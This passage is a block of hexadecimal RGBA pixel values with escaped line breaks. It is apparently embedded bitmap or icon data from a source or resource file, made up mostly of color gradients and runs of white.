C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDCDCDCFFC2C2C1FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C1FFC1C0C0FFFFFFFFFF4662B3FF456FFCFF456FF7FF446E\n      F7FF466EF7FF466EF7FF466EF7FF466EF7FF466EF7FF466EF7FF466EF7FF466E\n      F7FF456EF7FF456FF7FF4671FEFF5C6D9BFF2FB9BEFF1BFFFFFF1BFFFFFF1CFF\n      FFFF1CFFFFFF1DFFFFFF1BFFFFFF2AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9BA0A2FF9D8329FFDBA810FFD6A611FFD7A5\n      12FFD7A512FFD7A512FFD7A512FFD7A512FFD7A512FFD7A512FFD7A512FFD7A5\n      12FFD7A611FFD6A610FFDDAA10FF8D804CFF2365BFFF067CFFFF0579FFFF0679\n      FFFF077AFFFF077AFFFF077AFFFF077AFFFF077AFFFF0377FFFF067AFFFF077A\n      FFFF0679FFFF0679FFFF0680FFFF496EA0FF4650ADFF404DE5FF424FE2FF434E\n      E2FF4350E2FF4350E2FF4350E2FF4350E2FF4350E2FF4350E2FF4350E2FF4350\n      E2FF434FE2FF424DE2FF414EE8FF5B639AFF2DBABDFF19FAFCFF1BF6F9FF1CF7\n      F9FF1CF7F9FF1CF7F9FF19F7F9FF28F7FAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A3A3FF9B6F28FFCA8310FFC78310FFC884\n      11FFC88413FFC88413FFC88413FFC88413FFC88413FFC88413FFC88413FFC884\n      13FFC88412FFC78311FFCD8510FF8E764AFF244EBEFF0950FFFF0B51FEFF0D52\n      FEFF0248FFFF003FFFFF0043FFFF0A4FFFFF044BFFFF366EFFFF064AFFFF0C51\n      FEFF0C52FEFF0B51FEFF0950FFFF4A63A0FF453FA6FF3E35DEFF4036DAFF4137\n      DCFF4038DBFF4238DBFF4238DBFF4238DBFF4238DBFF4238DBFF4238DBFF4038\n      DBFF4137DCFF3E36DAFF3E34E0FF5B5A95FF2CB6B8FF16F8FBFF18F6F8FF18F6\n      F7FF1AF6F7FF1AF6F7FF17F5F9FF25F5F7FFFFFFFFFFFFFFFFFFFFFFFFFFB8B7\n      E6FFE6E5F6FFFFFFFFFFFFFFFFFF9DA0A1FF955F25FFC4670CFFC0680EFFC269\n      0FFFC2690FFFC26A0FFFC26A0FFFC26A0FFFC26A0FFFC26A0FFFC26A0FFFC269\n      0FFFC2690FFFC1680EFFC5680BFF8A6B4BFF243ABBFF0A2FFFFF0C2FFEFF0328\n      FDFF95A6FFFFFFFFFFFFCFD8FFFF0F31FFFF1B3EFFFFF9FAFFFF8395FFFF0328\n      FDFF0E32FEFF0C30FEFF092FFFFF4A569DFF4132A2FF3C1FD9FF3E22D7FF3E23\n      D6FF4024D6FF3F24D6FF3C1DDBFF3D1DDDFF3D1DDDFF3B1CDBFF4024D6FF4024\n      D6FF3F23D6FF3C21D5FF3C1FDBFF5B5191FF29B5B6FF13F7FBFF14F5F6FF17F4\n      F8FF16F4F8FF16F4F8FF13F4F7FF23F4F8FFFFFFFFFFE2F9F9FFE8F1F5FF9C8F\n      D8FFCAC4EAFFF5F4F8FFFFFFFFFF9E9E9EFF904D1FFFBF5105FFBD5108FFBD52\n      09FFBE5710FFBD520AFFBD520AFFBD520AFFBD520AFFBD520AFFBD530BFFBE57\n      10FFBD5209FFBD5007FFC15205FF876248FF2429B9FF0A13FFFF0D16FEFF0B15\n      FDFF0C15FFFFFFFFFFFFE7E7FFFFC7C8FFFFB6B7FFFFD6D8FFFFBFC1FFFF0009\n      FDFF0E17FEFF0C15FEFF0912FFFF4A4C9DFF422C9EFF3B16D7FF3C19D4FF3D1A\n      D5FF3E1BD5FF3B15DAFF59708EFF506E85FF4F6E84FF617791FF3913DAFF3E1B\n      D5FF3D1AD5FF3B18D4FF3B16DAFF5A4E8FFF29B3B4FF11F8FBFF13F5F6FF14F5\n      F8FF15F5F8FF17F5F8FF14F4F8FF22F4F6FFFFFFFFFF52E3E4FF7CCDDFFFC0A6\n      E2FFE0DBF1FFD2D0DEFFF7F7F6FF9E9E9EFFBEC4C8FFFFFFFFFFFFFFFFFFFFFF\n      FFFFEBCFBDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0D7\n      CAFFFFFFFFFFFFFFFFFFFFFFFFFF9EA3A5FF2423B8FF0A08FFFF0D0BFEFF0C0D\n      FDFF0000FFFF4D4DFFFF8A8AFFFFE2E2FFFF6E6DFFFFFFFFFFFF6968FFFF0504\n      FDFF0E0CFEFF0C0AFEFF0907FFFF4A499CFF3F2CA8FF3A1AE6FF361BE2FF361A\n      E1FF361CE2FF2A0CE1FFE4E0E3FF434F6FFF424C6DFFF1F0E7FF290ADFFF371C\n      E2FF371BE1FF3519E1FF3316E6FF584D94FF2AB3B4FF15F7FBFF14F5F6FF15F5\n      F8FF17F5F8FF17F5F8FF14F4F8FF22F4F6FFFFFFFFFFD2F7F8FF8AFAF4FF3686\n      CCFFDAC7E1FFFCFAF6FFFFFFFFFF9E9E9EFFB9B9B9FFFFFFFFFFFFFFFFFFFEFF\n      FFFFEDD2C1FFFEFFFFFFFFFFFFFFF0D9CBFFF6EBE4FFFFFFFFFFFCF8F5FFF0D8\n      C9FFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF2525B8FF0C0CFFFF0C0CFEFF0101\n      FDFFCACAFFFFFFFFFFFFBFBFFFFF1919FFFF8B8BFFFF8888FFFF2F2FFFFF0000\n      FDFF0909FEFF0C0CFEFF0909FFFF4A4A9CFF873820FFB43100FFB33300FFB132\n      00FFAF2E00FFA61B00FFFDFFFFFFB9C0AFFFBFC4B7FFFFFFFFFFA71A00FFAE2D\n      00FFAD2C00FFAD2B00FFB22900FF805447FF2AB3B4FF18F9FCFF1AF4F8FF1AF4\n      F8FF15F5F8FF16F5F8FF13F4F8FF22F4F6FFFFFFFFFFFFFFFFFFEBF7F5FFB6BA\n      DDFF88D8E4FFE7FAF9FFFFFFFFFF9E9E9EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFE9C7B3FFFFFFFFFFFFFFFFFFF0D8CAFFFAF2EEFFFFFFFFFFFCFCFAFFEDCE\n      BEFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF2424B8FF0E0EFFFF0505FDFF9898\n      FDFFDCDCFFFFFFFFFFFF4040FFFF5757FFFF8585FFFFF7F7FFFFEEEEFFFFD1D1\n      FDFF3838FEFF0707FEFF0909FFFF4A4A9CFF833925FFAC330FFFA93512FFAB37\n      14FFAB3715FFA62B0AFFD08E7CFFB97B64FFAB6D54FFD19082FF9F2105FFA22A\n      0EFFA3290DFFA1270BFFA62809FF7D5449FF2BB3B4FF1AF9FCFF1BF6F8FF1EF6\n      F8FF1FF4F7FF1DF4F7FF16F4F7FF22F4F6FFFFFFFFFFF9F2F1FF78DBDCFF8FE4\n      E2FF5ADCDDFF06D7DAFFD6FFFFFFA09E9EFFBCBFC4FFFFFFFFFFFFFFFFFFFFFF\n      FFFFF0D6C9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0DB\n      CFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA2A2FF2424B9FF0F0FFFFF0404FFFFBEBE\n      FFFFC7C7FFFF6262FFFFCFCFFFFFCACAFFFF8282FFFFFFFFFFFFFFFFFFFFB0B0\n      FDFF0000FEFF0A0AFEFF0A0AFFFF49499CFF843A26FFAE3610FFAC3813FFAD3A\n      16FFAD3A17FFAD3A17FFA9320DFFAB330FFFAA330EFFA62E0AFFAB3615FFA936\n      15FFAB3614FFAB3712FFB1370FFF7D5449FF2BB3B4FF1CF9FCFF1FF6F8FF20F6\n      F7FF21F6F9FF22F6F9FF1FF6F9FF2EF6F8FFFFFFFFFFFBF5F5FF6ED9DCFF5EDB\n      DCFF85DEDFFF69D8DAFFE7FFFFFF9E9E9EFF8F4520FFC04B00FFBC4D00FFBE4E\n      00FFC05206FFBF4E01FFBF4D00FFBF4E00FFBE4C00FFBC4A00FFBD4900FFBE4C\n      03FFBB4A00FFBD4A00FFC34C00FF855B47FF2525B9FF1010FFFF1111FFFF1414\n      FFFF0606FFFF0000FFFFF9F9FFFFD5D5FFFF9E9EFFFF0000FFFF0D0DFFFF0606\n      FDFF1414FEFF1212FEFF1010FFFF4A4A9CFF833A25FFB03810FFAE3A13FFAF3B\n      15FFAF3C16FFAF3C17FFAF3C17FFAF3C17FFAF3C17FFAF3C17FFAF3C17FFAF3C\n      16FFAF3B15FFAE3913FFB2390FFF7E5449FF2CB3B4FF1DF8FCFF20F6F7FF21F6\n      F7FF22F6F7FF22F6F7FF1FF5F7FF2EF5F8FFFFFFFFFFFFFFFFFFFFFFFFFFAAE7\n      E8FFDEF4F4FFFFFFFFFFFFFFFFFF9E9E9EFF925125FFC75F10FFC55F13FFC660\n      15FFC66116FFC66117FFC66117FFC66117FFC66117FFC66117FFC66117FFC661\n      16FFC66015FFC55F13FFCA600FFF876149FF2424B9FF1010FFFF1313FFFF1313\n      FFFF1717FFFF0D0DFFFF7676FFFFFFFFFFFF6969FFFF0D0DFFFF1616FFFF1616\n      FDFF1515FEFF1313FEFF0F0FFFFF49499CFF853923FFB1380BFFAF380EFFB03A\n      10FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A\n      11FFB03910FFAF380EFFB3380AFF7D5447FF2AB5B6FF1AFAFEFF1CF6F9FF1EF6\n      F9FF1FF6F9FF1FF6F9FF1CF6F9FF2BF7F9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9C9CFF935123FFC8600BFFC75E0EFFC75F\n      10FFC76011FFC76011FFC76011FFC76011FFC76011FFC76011FFC76011FFC760\n      11FFC75F10FFC65E0EFFCB600AFF866047FF2222B9FF0B0BFFFF0E0EFEFF1010\n      FEFF1111FFFF1111FFFF0101FFFF4D4DFFFF4F4FFFFF0B0BFFFF1111FFFF1111\n      FEFF1010FEFF0E0EFEFF0A0AFFFF48489BFF8A422FFFBD5433FFB95231FFB953\n      33FFB95333FFB95433FFB95433FFB95433FFB95433FFB95433FFB95433FFB953\n      33FFB95333FFB95231FFBD5432FF8B6055FF34BABBFF3FFDFFFF3CF9FBFF3DF9\n      FBFF3DF9FCFF3FF9FCFF3CF9FCFF48FAFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFF9A5830FFD17633FFCD7131FFCE73\n      33FFCE7233FFCE7233FFCE7233FFCE7233FFCE7233FFCE7233FFCE7233FFCE72\n      33FFCD7333FFCD7131FFD17432FF956D55FF2F2FBFFF3232FFFF3030FFFF3131\n      FFFF3232FFFF3232FFFF3232FFFF2C2CFFFF2C2CFFFF3232FFFF3232FFFF3232\n      FFFF3131FFFF3030FFFF3030FFFF5555ABFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFBF\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBEFFBFBEBEFFBFBEBEFFBFBEBEFFBFBEBEFFBFBFBFFFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFB6B7B7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF917AE5FF2536D3FF2535D2FF927BE5FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9B9BFF5A72ADFF6690F4FF658DF0FF668C\n      EFFF658DEFFF658DEFFF658BF3FF6DA5C5FF83DF68FF81DA70FF81DA70FF81DA\n      6EFF82DA6FFF81D96EFF85E070FF70916DFF4A78B8FF489AFFFF4798FFFF4899\n      FFFF4891FFFF49EAFFFF48FFFFFF48FFFFFF48FFFFFF46FFFFFF5CFFE3FF7AE9\n      A5FF78EBABFF77ECAAFF7BF3AFFF6E9780FF89A48BFFCCFFBEFF8CDD70FF78D6\n      5EFF78D765FF7DD96CFF81DA70FF81DA70FF81DA70FF81DA70FF81DA70FF81DA\n      6EFF82DA6FFF81D96EFF85E070FF70916DFFBCBCBCFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF8E69D9FF18AAE5FF17B5E7FF8E69D9FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA0A0FF505CA9FF5060DFFF5060DCFF5161\n      DCFF5060DCFF5260DDFF505DE2FF577EA8FF6EC541FF6DBF4AFF6DBF4AFF6DBF\n      4BFF6DBF49FF6CBE49FF6CC249FF6D8C62FF3E64B7FF316EF6FF336EF4FF326E\n      F4FF3466F3FF35D4FBFF34FFFFFF34FFFFFF34FFFFFF31FFFFFF48EDD0FF68D2\n      88FF65D58FFF64D58EFF63DA90FF6A967AFF425281FF437673FF9DEEFFFFC2FA\n      F2FFC8E2A8FF8FC961FF63B835FF65BA3DFF68BC44FF6CBE49FF6DBF4AFF6DBF\n      4BFF6DBF49FF6CBE49FF6CC249FF6D8C62FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF8D69D9FF1A8EDEFF199AE1FF8E69D8FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF4646A3FF403FD9FF4040D7FF4341\n      D6FF4242D6FF4442D6FF423EDCFF4C649DFF62B824FF60B12FFF60B12FFF61B1\n      2DFF5FB12EFF5EB02CFF5EB32BFF678556FF3151B3FF1F50F6FF2051F2FF2153\n      F2FF2248F0FF23CCFAFF22FFFFFF22FFFFFF22FFFFFF20FFFFFF38E9C8FF5ACA\n      73FF57CD7AFF56CB79FF56D17BFF638F71FF4646A8FF3E3BDBFF232A5BFF1C82\n      81FF33ECFFFF7BF0FFFFB6F0FAFFC7E2B1FF9CC863FF5EAC1EFF58AC1EFF59AD\n      24FF5DB02CFF5EB02CFF5EB32BFF678556FFC2C3BCFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF9270D9FF1990DFFF169AE1FF926FD9FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A3A0FF3B339EFF3323D5FF3525D6FF3627\n      D3FF3728D7FF3528D2FF3424D9FF405192FF58AF0BFF56A717FF56A717FF54A5\n      17FF55A516FF54A614FF54AA11FF62804DFF2640B1FF0E38F3FF1239EFFF123B\n      EFFF132EEEFF14C5FAFF13FFFFFF13FFFFFF13FFFFFF11FFFFFF2BE6C2FF50C0\n      64FF4CC46AFF4BC469FF4BC86BFF5F8A6AFF3B339EFF3323D6FF3625DFFF311B\n      B1FF161E30FF1AA5B3FF1EE7FFFF1AD7FFFF56E2FFFFA5F1FFFFBFE4C2FFADCC\n      6EFF61A917FF4A9F00FF4CA505FF617E4BFF6859A1FF7B63D9FF7A63D7FF7D56\n      D2FF7C56D4FF845DD5FF5519C4FF1E8EDFFF1D9BE1FF5518C4FF845DD5FF7C56\n      D4FF7D56D2FF7963D7FF7B65DCFF6F6790FF3A2C9DFF2D19D6FF2616A1FF321D\n      DDFF28199DFF321DD5FF3019D7FF3B488DFF54AB02FF52A30EFF52A30EFF51A2\n      0DFF50A20CFF4FA10AFF4FA507FF607C49FF2439B0FF082EF4FF0C2FF0FF0C30\n      F0FF0D23EEFF10C1F9FF0FFFFFFF0FFFFFFF0FFFFFFF0DFFFFFF26E5BFFF4BBD\n      5EFF47C165FF46C064FF45C664FF5D8866FF3A2C9DFF2C18D3FF2F1AD0FF311D\n      D4FF341BE1FF220672FF123A3BFF1FCDEBFF1EDFFFFF18D2FDFF11D0FFFF34DA\n      FFFF90EDFFFFB5E7DCFFBCD784FF6F8356FF352092FF2C00C1FF1E5DD3FF13B8\n      E8FF16AAE5FF16ABE5FF1BACE5FF19DCF2FF19DFF1FF1BACE5FF16ABE5FF16AB\n      E5FF13B5E7FF1B66D5FF2700C1FF534787FF3A2C9DFF321EDAFF2919A8FF080B\n      00FF1F1671FF331FDBFF301AD7FF3D4687FF55A400FF549B00FF549B00FF549C\n      00FF539A00FF529B00FF52A000FF627B48FF243AB0FF0C32F4FF0D32F0FF0E30\n      F0FF1025EEFF11C1F9FF0FFFFFFF10FFFFFF10FFFFFF0DFFFFFF26E5BFFF4CBE\n      5EFF48C266FF47C265FF45C665FF5D8967FF3A2C9DFF311DD4FF311CD0FF2F1D\n      D0FF321FD1FF331FDAFF3218D2FF1C044AFF166471FF22D4FBFF23D4FCFF20D3\n      FCFF18D2FCFF12D2FFFF1BDBFFFF6795A2FF372092FF2F00C1FF2557D3FF1D8A\n      DFFF1B7BDBFF1A7BDAFF207BDAFF1BCAECFF1ACFEEFF207ADAFF1A7CDAFF1A7B\n      DAFF1884DCFF1C56D1FF2500C1FF514787FF3B2F9EFF3520D5FF211863FF1010\n      0DFF1C1454FF2D1BBFFF3218D1FF2A58E0FF1CE3FFFF1DD7FFFF1DD7FFFF1DD7\n      FFFF1DD7FFFF1BD7FFFF18DCFFFF4E91A5FF253CB0FF0E37F5FF1139EFFF1137\n      EFFF0E25EEFF10C1F9FF0FFFFFFF10FFFFFF10FFFFFF0DFFFFFF26E5BFFF4CBE\n      5EFF48C266FF47C265FF45C665FF5D8967FF3B2F9EFF3620D5FF3823D3FF3621\n      D1FF311ED0FF321FDAFF3217CFFF1A0545FF176C78FF22D5FEFF23D4FCFF1FD3\n      FCFF17D2FCFF11D2FFFF21DCFFFF6A96A4FF7366A5FF937CE2FF9475DCFF9570\n      DBFF9672DDFF9675DCFF5D27C8FF1E90DEFF1B9BE1FF5B25C7FF9473DBFF8F6D\n      D9FF8D6DD9FF8D70DAFF8E79E1FF756E91FF3D2F9EFF3922D8FF3E27E4FF2E21\n      93FF3F29E5FF3926D4FF361AD0FF2B56D7FF20DDFDFF21D3FCFF21D3FCFF21D3\n      FCFF20D3FCFF1ED2FCFF1DD9FFFF508F9DFF253DB0FF0F3AF5FF123CF1FF143D\n      F1FF1532EFFF15C5FAFF11FFFFFF0EFFFFFF0FFFFFFF0DFFFFFF26E5BFFF4BBD\n      5DFF46C164FF45BF63FF46C565FF5D8968FF3D2F9EFF3922D7FF3B26D5FF3D28\n      D9FF4128E5FF270A6DFF144342FF1FD2F1FF1DDEFFFF17D2FDFF10D0FFFF3BDB\n      FFFF95EFFFFFB7E4D4FFB8D57AFF6D8354FFBFC2BCFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF9A74DEFF2794E3FF239DE4FF9873DEFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A29EFF3F309EFF3C26D8FF3E28D6FF402A\n      DBFF3F2BD6FF3F2BD6FF3F25D4FF3B61DCFF2EE3FCFF2ED7FCFF2DD7FCFF2DD7\n      FCFF2DD7FCFF2CD8FCFF2CDDFFFF518F9DFF263FB1FF103DF6FF133FF2FF1640\n      F2FF1732F0FF19C6FAFF17FFFFFF17FFFFFF16FFFFFF12FFFFFF2FE7C3FF56C4\n      68FF53C771FF55C871FF57CE75FF5F8969FF3F309EFF3C26DAFF4129E5FF3819\n      ABFF191F2FFF22B0BFFF28E8FFFF25DAFFFF64E5FFFFABF1FFFFC4E3BBFFADCC\n      66FF64A90FFF54A300FF58AB04FF617C48FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF966EDDFF2791E2FF269BE5FF976EDDFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3F309EFF3F27D9FF4029D5FF412B\n      D7FF422CD7FF422CD7FF4226D5FF3C62DCFF30E3FEFF32D9FCFF32D9FCFF32D9\n      FCFF31D9FCFF2FD9FCFF2DDEFFFF508F9DFF253FB1FF103FF6FF1341F2FF1542\n      F2FF1637F0FF18C7FAFF17FFFFFF17FFFFFF17FFFFFF14FFFFFF32E8C6FF5DC7\n      6EFF59CA76FF57CA75FF59CF76FF5F8A69FF3F31A5FF3D1FD8FF160941FF127A\n      81FF34EEFFFF85F2FFFFB9EFF5FFC8DE9FFF96C249FF5DA804FF5BA807FF5CAB\n      0DFF60AD13FF61AD13FF62B10FFF627D49FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF9668DFFF1EBFECFF1DCBEFFF9669DEFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF3D2F9EFF3F24DBFF3F27D7FF4027\n      D7FF4028D7FF4028D7FF4022D5FF3A61DEFF2FE5FFFF30DAFCFF30DAFCFF2ED9\n      FCFF2FD9FCFF2DD9FCFF2CE0FFFF508E9CFF233FB1FF0B40F6FF0E40F2FF1041\n      F2FF1134F1FF13C7FAFF11FFFFFF11FFFFFF11FFFFFF0EFFFFFF2EE8C6FF5CC8\n      6FFF58CB75FF57CB74FF5AD178FF5D8868FF261F5EFF2E4B51FF99F0FFFFC0F5\n      E2FFBED87DFF7DB727FF59A700FF5BAA04FF5EAC0BFF62AE10FF62AF11FF63AF\n      11FF61AF10FF60AD0EFF62B40AFF617C47FFC0C0C0FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFA38DE6FF512ED1FF512DD0FFA390E6FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFF453AA4FF5B47DFFF5843DCFF5845\n      DCFF5944DCFF5946DCFF5A40DBFF5377E7FF49E8FFFF49DEFFFF49DEFFFF4ADE\n      FFFF4ADEFFFF49DFFFFF49E2FFFF5D9CACFF2F45B8FF335CFBFF3159F8FF3359\n      F8FF334EF7FF36D1FFFF33FFFFFF33FFFFFF33FFFFFF31FFFFFF4CEFD0FF71D1\n      83FF6ED38AFF6DD389FF6FD78BFF699775FF81906EFFC0E994FF7DBC30FF6DB2\n      1FFF6EB628FF72B82FFF74B933FF74B933FF74B933FF74B933FF74B933FF74B8\n      33FF74B833FF73B831FF76BB32FF6D8B55FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      